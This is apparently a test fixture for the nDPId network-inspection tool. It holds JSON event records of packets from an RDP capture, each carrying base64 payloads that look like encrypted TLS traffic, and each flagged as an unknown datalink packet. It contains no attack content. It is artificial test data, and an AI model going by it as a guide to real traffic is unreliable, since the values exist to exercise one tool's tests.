+00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1773,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":727894,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IXpHoU+ZUBAf\/pEYAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1773,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00353{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1774,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":728015,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IXpHoU\/OUBAf\/pDjAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1774,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02076{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1775,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":728119,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjPEAAfwYhm8CoAo6sEAK5DT3NDkehT875vSCWUBD26jOaAAAXAwMGbwAAAAAAAAJDZ5MWDv7ZGNfALu1G7pOdGifi+RCBK615NqddUPeDubpT2h3xfLTJCDZHuhBOHXQoEn0A+QcjO5WPVdJeMwXJBPkGJ18WV40P5Ff+DF77nYH\/BU2G6OkfLitIFY2VSYkuqr2pGnfXSIX6rGo67Mo9C5VwNZdXE9QbB9y7e7BFxaxS2d8OlrAnM+5uz9Ruul7dkLRPQrx7sI5\/mjBzsVubTy2satorZM0hAfk+4V+0lMQCBBlF7hChQcg3MUH\/e4GerAMejH++2ixB3PRht6kmDx5xAQAHVI\/FR+cSliFTtW+Uh5hyHbm\/\/Pig+Y0vFoxLjP6TIBUjo+R86XcERnBDGtA0F1yJsIO5107SCOMNWgQgPLmHxnoEAUKVYPBOje+mRs7nc2QUpk0vHXaXV12SmKZJhmsC\/ul1LCAQ0J8VJvu7PT0U3+S70ES15cHA2rU23nLVo0Y8YvKVILkqNH13WYsaTlnm6OrhXmZFRwSn1jieVP+SjL0W2V72FMpwokW\/B6ZKFkYNe5nBkQHo+kUwnHH2qBnAtsB2b60P2zCgNWVj1UsOsh6NjOLIjpmBftT8uzm4ixKK5KsTAdt2ndHWO2heLHRYYbdHSYUZhXfhd24HO\/d5Q54KGovIuAWdnuds51DT4pkMh3wRggJCmqKm8XRX6\/UraLSEhOX2w7ojpH\/514rtS684TdoZChq7Joq4fL4oG3bo+j5jV0Lc7KbdO49hHLmuwhwkLDWmcjSu5vuQT7OBCfwnJ6nxlb1mnJBmwR4RUZzvUHwU\/\/JP+h2akepZS40tb0wTKEIHhMI5rMDANw6CskGrNsZiOhxZ\/H8Ue4hdyF34YEp+EsQIb8MM6OY3m9XTumjaIeSZLfrWVGWtGjjjfioKBMXAKSv9mO5+WtK4bn7thOaDoXW36fOESQ38WEEc+jF4ol2NbPu+iQtxf2330GFHpLLEutUGcJy7pr90TnGQnRR5kDLsCVwiCnRKyGne2PlHb3LErIlbh4dlGF\/pLvbJ5jCwpZ0he8l8tjakyFRC8Dl3kik69hUdc6sKWeg9qUKbaPCGkncO1bH3DIasN\/oOF0vnia1R5QQngqoUwf\/lBNI5wXtBvGO4taQOytD4pLIIk8gRVoPut3ZzxKME\/wqlRjUQa7CrTknJCTc35uaqNdfw3YCwNM\/Av5iQTGw3TYfBsIORo8Kz7k9+mM9pG0h9RZ16AEOZLNSJQTEv\/btU7zZVvZ+hDTjzKRaFSOXS32QzO2obDyaqaRPuRE2svd3cYBkLhs+cw43pyoqNoNaIm+sNJfHLij0nlyLtOBSw+DpaGqxXEvcYv7sdBsk5KYgxxfiUOMS4uX8punwUqNzOMxkPJGJU1OorIhJFF6kCbDkH5E1tXklCi9ykc1yHv0gQhLoSj7d+xoTFMl5nkDXne9P8yunc8NCOwbX35K4IMFSZefLlOMA8HpbfS87+eOYhzQyoE1k\/ToFPUJYFrovcgQ\/Au7VP8TImYM7KUkrgsJ3\/DrrMKMA7hrt6eWGouRcL8waCZexLoL9XVu8XX16g3jB6Yhk+qBCkDLaHvyEoadb\/6An8L+3FfbJrWjeruqNnagfcH3J08nskQplQxCNfJX6Jhir40OBvcoNSTlGd0bUzOt1BLc2CgVfLBLDmuanmjVSFFrtpcxw7+MwdW6RK5\/F1cy6C"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1775,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00866{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1776,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":728184,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjPUAAfwYlGMCoAo6sEAK5DT3NDkehVMf5vSCWUBj26m9KAADN77sN5EZRLf59UothuKTMnwU22UqRPBAe\/NKSZmiyDT3XqJhnEZl3HSanYK00WHpV1Ry\/bg6NiZnkex94Lx3Q63S6I4JaL4+IwLy7bGvGhVdIvZQxkIaRnMANnN+usHrVX6CBX+1u2BiM22HgYn\/\/euJnvIKlVpYCcESKawUmExwqQApgTM86GzmV926BLkJukyEfsv49uWw9dto39J2PKphAZd51rFgNIB9jikw6bz+Nsdyx8l26S6xxDESRQWW1\/b1JyHLOw0WJMZDJ5AO\/MAZFvIZwuznaaFvXJ4PikuVcFk7ArPggMttk1zgsq4aUv3SKg7+tv1nRXUdGftAPjCrpXVs9nR9SdyLo1qY9+RySHJ\/ugp5EmSKTvvbrldtprCoa04VnYchCOelq03ZCbuVR24X\/jucTFaUgys+1FgAPw13YiQxnswhMoGm9IuXpD2NVJ8xdWNY25\/UjeoTiXrgby3RrpWWlRVDdy7EMhoIP38XngHpQBLVu"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1776,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1777,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":728263,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IXpHoVZCUBAf9Ip5AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1777,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02085{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1778,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":728494,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjPkAAfwYhmcCoAo6sEAK5DT3NDkehVkL5vSCWUBD26vOiAAAXAwMGbwAAAAAAAAJE5+ZxoPMwYA4CGsrUyrOFfJV2umlKWezp7Ady1C\/d7AbSsT7x4kKo20bs1Pg1jRpQos6ZFr71OHeq+kp\/Kd6J40obrm90Cpk0wIKAcMYsnEN22Tu+Ljjcpo+kBm84gGH7XOAJhVdAutndVXnEcKOk3dO150NEQTV\/+k34N\/d6O6zPeBB4YSjppTqWKflr+RURDEXpQVcJpfRgX\/+3pxiJ6WKfb8MBWknDe11NvwkC7h\/BEZqD2oHzFIUOH7CQn\/C1BY86wgbJnftBdEsuPNq2B\/f4zooTdG4eS2cLLS\/BCamkzspZ5AHeC4AXNhU3rgTyrbKG7akfsJOJoa2iFb3Okzdb52EgKQL+t6cPKA2\/wCf0BcbRfhSJBfQaAYURRwZoGuVus7uP8lXG3UTBA0Ja+bPF2tG4V01b\/9UnPD408JIog0scEJL0bP\/kWPbfEcTRYdClgwGf7Nn2WgLMItfnlPgbvbMPxDX6GLV5+O48XmC34Zc3mBlMRAZwVWG0THDph2ySEep4s8xbfkA5W0\/HiuuwXM5n2gUVj93q1vh7sVwkHHVCBalzV2ng5ufA3XmJrik5nN+8J86c9aJRms6mioRTgvQb8434AKVdn66x1BF8pV+RRiz29rv69o9hZVPzfjN\/2ChVd3BRNWv4JKjEmgRUcjOSCptNMOJ4l2SPorzZT3PV9MeLxwOPwGWKWt7DSU+cfaPMZo\/MMKjt3Jom8UyFppNv0KmK80Nl7DXkcItvAQNeOCtVyM3tVLq9+qSlr8dOdOF+hD1QozMqKa+68HGOoX+eXStead527rfhTeteZOFWQ6naGfWXtHNv8VS8RCRvHzXIM\/i6RSwAaSp2RHh0b7heO+h51V\/wzX9znBsbnGuRyRAIbMxIhMYCeIFd\/cucauyE2LL66ulv+pf0xohcRyXiehn4h+RLKPQzhyYE8n2Nx\/bd1YASwIcqzhROjHOwYhUPDadM7+xN15++58Nbb8gfpEo2vw7xHcOhPG50bJTcGTqx1jCwoo2RhUBDdI01zVRsxDTeIX8Hhd\/RLiYJbUrHyE7RvWlx21Eo3Zp9cETEZBDJp4NRExnFxdBpaMATSOfKQWWZUV1mIDY6BxHnsp\/200O0KCmEGvqBCvzS5w+sz\/2rPXcboHtN8MiC4C8Jb9+AnGcwyupZKpTUrb62hz9GEtlM\/zVJR3zFoAjuDoEarcetZsgxTrMeYIzegZWmQq+yBDLeh4eoAIokxE+oirUOdQHvhfKhZd00RVSKLkx8H5al5HE0jjNi0DzWOQqXOZBWzH\/DGUpMEl61rkT3Da73FCu1LogKXrfmUUs9vT0SV9PEuj9ftgWm5ePqZ+logbQSXr0jYuu6IKmURfhgmCfjT5ZYS2gpPDMGjVRDmMp8lEKkgnBhBFH\/v0+vw2aFfSxcIdKiImmDIZE\/KArDklo9Egc1XzyL7kNyD8I+WBUpm+tmNZP5uwxvPzJ\/\/NITcF+MzeFB2qJJ7G\/rQgo67kZRAzzW17vOIFPEAOdG60YzQkiIDxyELoCAx65hbXOhP5O48KwIE\/x1Sr0nxwGSPFTe4haB5Jk1MGvBLG\/l2b7IkaA4pw8RML\/NRqyziUaXJbUSQQcYrpzXdZPoOdAMCti3dElry8dlH5cEWpN5622UFxzrue2L+T\/Lhb8j+z2Q5kJ\/JCCblLS3"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1778,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00870{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1779,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":728523,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjP0AAfwYlFsCoAo6sEAK5DT3NDkehWzv5vSCWUBj26vD+AAA\/y71ocXVoPfQxHI9VXmSeCxYmFPfhsVSFXkHu9Uq\/JiBOObaD64Qu+VmqLkwByqcGL51dadNz8142doQ9WhNC4NHGAOVSQzOlHkW6FJCSuqMArc2LA8mMyDV9qyqytWadHvMfyYhUt35Jorb6mGeCnEtDce0dgdP8hRyj1X9MJhjo09PcKfz4qi4aMjjWxdy55j6p+hOfNgz4kY72zZtXqp+ymRn5D\/KMWt30eZOxwKRC\/qtrEoViJ\/NQ93\/19q0DDfvJGXgRv\/15Mc\/0BEugIjoY97o+bdiUVhFz9+sIX\/0ZDZwQICW\/MPFF0lEguPHYE5kbeSuidkJGt94En2w6eVCJxD8a1g1ZlRsZnjvG3qy7KYIih0SfcyT+eiT\/xsV+8jcdg3oCLrNF8Ioa+jdTqdGCJQVxffJrvtlSBFbh\/Dx3spDWg3xm12L7KI7fdr7I3UB\/2mEB+1hotn68u3sGw0HmElPocmBlFBc6erCB8pcI3FQ9jWr7SCCn"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1779,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1780,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":728556,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IXpHoVy2UBAfzIQtAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1780,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02068{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1781,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":748989,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjQEAAfwYhl8CoAo6sEAK5DT3NDkehXLb5vSCWUBD26r9OAAAXAwMGbwAAAAAAAAJFro9UYULu7YsR0ZN0JBusHR1LXiXPZ9RIiziUdCy989NIl8wbaSeLrZZv0dS8+M0es4IJ3KKJCGJSmLZIpdU+DCPxJWreIIei0K6E90GrV4rWl82CVLt1t9Dvxr2LMaCkyX3kW1zoV371xxNbcaiCyGxkcpQWF8rrXoQQLPVfxQpCsy1n27IBUbEaZnJjqOQVxNmv2xfctiMWuvc2jD3Ixly1+akRujySqxuzOD0dV5vpCNI1jr+ow2Q96wBmx2GDx2G8RdDPtmFiAjYJyVWrEHQG+X504btggAKRCt3XYQGXyHEX5WnPxgZsExtvQ4SGOgdaXSI+rPKkJGGIY9NVw3v7Y395Y6G+th4vuO04gcNCxIbOZTWnhRhit63EHVCZ6Q+3Y+UuEBqxoRiSnR4AjuPSJ+\/qQ\/TnPCZPPOi3Wsu1w6wWGJNsK6flnUoRuy+rLv+dH8j8UMkaKV\/3sNyJtwqbw5auXwDKEc5NUr+NLodwKYjv4sQosT4bZCclumAVCLVewG4vIoZ19115zA86gsNioHePtQ9MNUGw5c2mQ6scGoOd7WMsojNgT15\/E9HAUDKmyqo5N9BzyGdIPMr6zze\/alQOWixxju6taD828+cTm8X28ZR2+J+seDx6pHhO+6Qqjtt1OeUdZoIpQ00Blexgm1JkTBEIjW4QzsAGoUD2V6JKPlb4psq2pGxZGzoCphiUl7EsPlOnu5qTlAyma6dKZJUKXROtch\/JjubIeOi\/AblVDBBRVGrcSi9ds\/NRETPKgj19QBAhtoBRVb9O6tdbEe0j+aypSkr6yrEU5nHcG6wpAmYTt2j17i6E7kSzNCUGpc\/l3euLloKjHzFnw76SVGhf2R1Zdd0ary2hxOIJI43ReRE25PjPsPaqwcARh3K7Am7Pvv+A4KUR5aYO12mkrg9hKKc45moGMlu66+RdvinktcANzlx6yyzpDdo\/YHZsTcVOTGgqWbPvZvnKVCpsDihmJ9iQizT7vImlAAqMjlfOIB2il2b5bBqZm5Xsu5SrLwDLKWJoY9CpkFzvPO6yNBfq3YruGDOGMDkzPpS7W3vlZWC5fvFzkz4PCbFgI1F7z4IW9Hiomd+pU6WK+wWrlzNbfVqSD26k7dOPKbE6DdH7tIxR3XTnyLeE4Yg6bzRPyZwrczyctyHskx4hMQw6KI89aqtOAYjbnymbuLpDMWblJTQtxcLf+HRc1zLpb8z34Od1YiYXThyyj7\/\/b\/rzIHQLEmqMBsSELzpm1PJ04gpezO1QFs+L5FKR2zDMy6WLXPs9kxlI9BIoQGTY9xZEM0fjt4gWXc5GMyZrI3VSVmI7r2T90jaX5MQfMgarnN21REAvywP6XRfMVpMjp6njSIsQ2sQ6S1tQezo324F2WtLzhd3ua4RY4uETrkeU5\/EF++tDWyRJYf6uB4FQ6nFoPYXdUw03LIB7PCoavrqld7gmXhcnZJo6yq+DX0dxC7U4unXQc1su+7eg0sUqRhvnqabCf5bX1qRtaQOWJ9q0Ipqc6uI1ROhY4MPfuApaeJKQD4RQGyiV6KjUQt8+gYhZ1GAVdnQYSJI1qZpGigQ1i9d65C5Tc73mKv2ZIYHCJPRk+qcHtSX3vpoe4CQ8QM4Ik5URkiuP4uSrcndEMhV80sVw5LA5Lw\/Nwa\/6\/Ko57aYCIu94M15kwIR5"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1781,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1782,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":749032,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjQUAAfwYlFMCoAo6sEAK5DT3NDkehYa\/5vSCWUBj26hzjAABEDT8dQB\/PA\/MHXER4gFicmSxuB48dR+8c6pjUKdULs1RbNjgphMDIUKmDUVgqMCsxFjZmyTk0AOCS3zXvlYf22gjtkK0VG1VsCKN\/TgHx10ovbABIXx8wYu1SyAZX8LDTEcCldBpMJdR+7coBAO1vwGgwYcX95TMJ3uCs3BS+5jzH0sfgFIAuhADTRDenqkb9HigzHuE3ALeWKdlTWteiarZ1PGNutdEmycvazg1bLNrn80CUKbkDQeBQYMJKUdlq\/XHy9Jjl7gbqO53n18oL0GXsJRB9Zo2DYVa3FbBCOvxfuThikvL0GOuyP3FsiXO+7etyzVBWIhSvJhdZn8Y1CN5DBEywesUqVFh20NLttM9EQiK9r+s9QX1s8MrCKmmyDiWpRuQQXP9cvct49Bw4Gr1k+NT3pGCaDssUw+8UR4Fijleu0vLag8q2Rdge\/meDdGuwNPTXTub2fngIf8i9JRdu\/he9FOe3+IfU3QUj6U1oNwZ6vf+ltNCr"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1782,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1783,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":749077,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IXpHoWMqUBAfzH25AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1783,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1784,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":751617,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1jQkAAfwYmWcCoAo6sEAK5DT3NDkehYyr5vSCWUBj26uG2AAAXAwMAMAAAAAAAAAJGVH\/q0sICY9VEbtsG1+n+RaY1F4bedLdP0dPb0fKcZ2fSJfYbdO2SDA=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1784,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1785,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":751690,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IXpHoWNfUBAf\/n1SAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1785,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02081{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1786,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":771987,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjQ0AAfwYhlMCoAo6sEAK5DT3NDkehY1\/5vSCWUBD26owoAAAXAwMGbwAAAAAAAAJHNvtos\/MyAUOwjJI0C4GRgC468gTL1FuYLp361iP0igKxiPyZ1pZgJPjpFwpVG1+hi9GJRx250LkVlRg\/8HN9QdBbaNt+BRWiAOXsJLoblZKJom\/6L++HsRDVHGCPMhf1Z1zYycwaYDRLp\/SiGgIDRdST0N+Btg3VIZjQ36EFaYI8GS0mXkz3OKU8TlNEepDHjFeOn0a\/PpDrijASStSGkED3roWf2vplSfo8hHK\/YBuSRQAFS1P0BvG7zOt3kTOBrXeqQWhWeq32Fpf1\/a1vGdqu0ucLG7JKXUz\/FmuDK3Qb23g7qHVL19OIv8lIHJ2+\/frnvH7aUpY\/Qe2rODcxKvyYf+GAUtM\/IlBh49hA3QPtwEi\/C0NPxuH7zek7BzbZbBy\/Mf1UfiodSIO17u8UdXeK7afFtXpG50wZX8zGGbHm8xaE+QxxKMH6cVLGvHAYMYQHB3iP9kmzqjAS3xTV6tSn2I+qyj\/Ywuf+CvbuVchMe0ftsuONue6ayHTUHLDUrgFekSTN2VfhCgzWo4dp3pn1Hu2iCgCMp7ivxX9yVCrrGtLpkvDI9mTxl8yfwn0317lm1zGa5F\/SuUDpoSPOz07M7qeNqFyyDP2TATe2HRTzsVmzzLbErw7yMv60AvJMa8WLwSAx1XsF24eNTIteOjmKdEPhbPha0UNRsil6WjqaBj3Tr8aBAV1kLSbSddc5OHBZq094ECmy42Zoodszym0lTJ9r1Nx9IJIeNVbgmFXXuDNHlsDq9bLnKUT\/ROATTM\/95HMzRavcX44TwnUZLPlnG1Oj+9am2TBnikMA2p84h2ZvMGJkqntj6qqpgH\/OHVbvC35pjBv00l20KZr4hP7GHWzQd6zoW6I2Z3Bvqb6ENTJX+pmpw1\/DprjdNysYBd7bEgvW4c6pyDINNatuas6cE96LOAwpunel7Pt6nA2SlikMUufytB4MWxLUibjlHGLOONy8x+4G2khjc4lh9fYYVsjrn1Z5MfgSpF+qObD8vmrDl\/T7Pi0wCjVm2NR4MLmsSUKb\/mkgl8vwngELGX\/6tg\/5bwvvPlgc3AWxItflN52+UpOcJRNnDsc0NYEFNyJdZ7c+TTHp6uDv71hDSfg04+GZA3tBrlrWILEcp8mq+RPnR+fcZ4GAux\/d6hkvsc8viuQzalWIVmaqoWuw7jyTQVo14rTvqncCWTkH3vlg5l1szZfPxZ5h0cHHl3tf1pJ3GqEXZnEnu7AEqMJkNDmojBXvt8quJpySN8bPTDTOuQ1SdUNFiVa4vqJ6ghpKcTp9kjqeiugMjOguGxUd\/EHTnv1w8QGWxrLA+0L70xrQuFP\/oU24RGNq6yGqAo0krs51LCe1UW7uhO3jf3H3FDxwhIqOhTtOAQhzj+Akkpa8RY8eK73xXbN9bfNZoKshxN91fvm1sdtpRcWSaEditX3WwhoBayk6c7M8A4kOaLEP6Cc+YEN7xt6Re7yNBdgBqoifDoBLQYbD8Pg9NdIux1B\/l+y6GI8uqemEdggpuqWTZaF+2O4tyyXt9qJdTkAjxJTAE5nHxeKOJ3OTXUPYYIaYo6S\/f6Cyc310cWoCjPOlTFiGfpNQQOlvJqPUbdH+nMOuv5PZ495bhCUD9dGlWxBSkE+F3otnSxmxa4h\/yrfSKX9TCU9aeK3mFxalgKGi1bcZoYlmIn4S3IGZ"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1786,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00867{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1787,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":772059,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjREAAfwYlEcCoAo6sEAK5DT3NDkehaFj5vSCWUBj26lbSAABGNEmE2DivFpTm+Nz73W9Uq89JXKdWkHUA6VILcKKWLlC1A9HS\/fbO\/wW1b\/R1a1nReM\/GYFcWCe\/cRsuvQhsdhWkDLG2QE89\/v5AwEx47dXkLRaNqcfZIfhQTO20pT7Mat5tu\/t0aVgdX021c6hiGEFZ+kVZ0u5pHQ0Yc36LQhOUmwV1WPkma3sVieqAKoNcIrz79Bvl2sgS8fKMAKV+Ppw89FrE7xV9t5LTmarT6KY7QjLQ3QnBynOVYBJjLPZloHlpvD1MB5VOcjm4yOQJ0UkJ4zkogcOPhw4cyAiy43POoI6LLBuoWaoLffaDjDrlvIq3YjXhAnvpiMrmxK5qa\/eKqdYP5N1of6+A9t8xAzNOpDioE6T6a4CtG5XkArYnxDi2ILwFze\/vH22HeZ2KYeFMnZUewyWVW5zmAMA88VKGyX7izpQyCNRQqEFemnqYgKBCwCSI7nniAYS\/Hv4Qtc2MyEVjJ0KrB7VmXo+oXvb+NNtY3QGnbLG6D"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1787,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1788,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":772121,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IXpHoWnTUBAf9HboAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1788,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02078{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1789,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":772332,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjRUAAfwYhksCoAo6sEAK5DT3NDkehadP5vSCWUBD26uIzAAAXAwMGbwAAAAAAAAJIWOUSWSdvkubP0ba0eGzGUkb+ygvgFhmSArUXU6yrdBldS0GHy+Z9aDVVUGUn8my9ReXmJ03V49KP3bZPgJSfeFLPXpHin6UGAi70GXdEC02DtC\/Fk56dq3e2zAEd1fAPUgUiCeJ8i8+yRUL30h2iQszzMfi+hjVg2Hc8W\/ZYoA94mSVMo0DUawkzYyJro7TqDK3tlecqcDQkqkdXYVU69DyxgpWtUKiG\/VL6+jqhNBgTY+MrkImAUg9seb2EU+D5gmsGBIUz9PnwlGKOdDtMPr5wwoMLbFPsDbqYpFS+UiN5Cf3SfioVNTbWbYDd5qxfwdTqx7zKboDzPmLfELPrgGvmnE\/N6TbIhgphRWKdiaitLn59iN7XAlJ8kY2N8KF0xXhXlZntXgl\/1S0M7zQ1KOdB\/GmCeKqYbeEsT1C3gxCe0oC7+Yzj0ZsWRNhCc8mbU05ec9bpONPNsqDPtAVkrX3nhVhgG+rK9Dp1NI4nVP1r2J4Us4MXvAmvp+1kkwx3VLTww0DTDV1YaFnhMTnImsUyIhBJBnne\/qk4DMCs7Dpt0xRRf5JDnSvIeZYKhI1vjXpItGHqSAXYGzzTxfpPHB\/Q\/ILin6O1NufHZTxVt52zZiXStdpx4ZNcEAXMLd3dfrLIQAftxGxxdTw+V5n+l\/4dgoru4o3Vhw8Z1dt\/MGLAFmpEJy7JFGp+tZxA7ImM2SkDNQ721PBGDa2TdKbPlaOXvbck4B\/6w6LOJAElOLjio2idRi1P4\/ryV5FxwvIZ9WChANtJGUPg229yJrVQ\/uCFgnotDbeD1ODDVHhzeYzcO8g0KAzBkOW3YDFTgqPYDcPbZh+FRDMQplMrW8Cara0CAtQZDsDZ88iIkRoTi41P3ZFQa8MtKFgpLDpznEniMh3CY8p9qX04eRAqMczsLZ9AuwycCTlZq0G5QfxERgakRJaEo+R+6atPQQ+28m\/XV+TzyM3FWnDYHwUD4hURkGnuQqpq2UoMRkQYApPdDrmUC+qS9VZEZEeIXAUNHn2A+R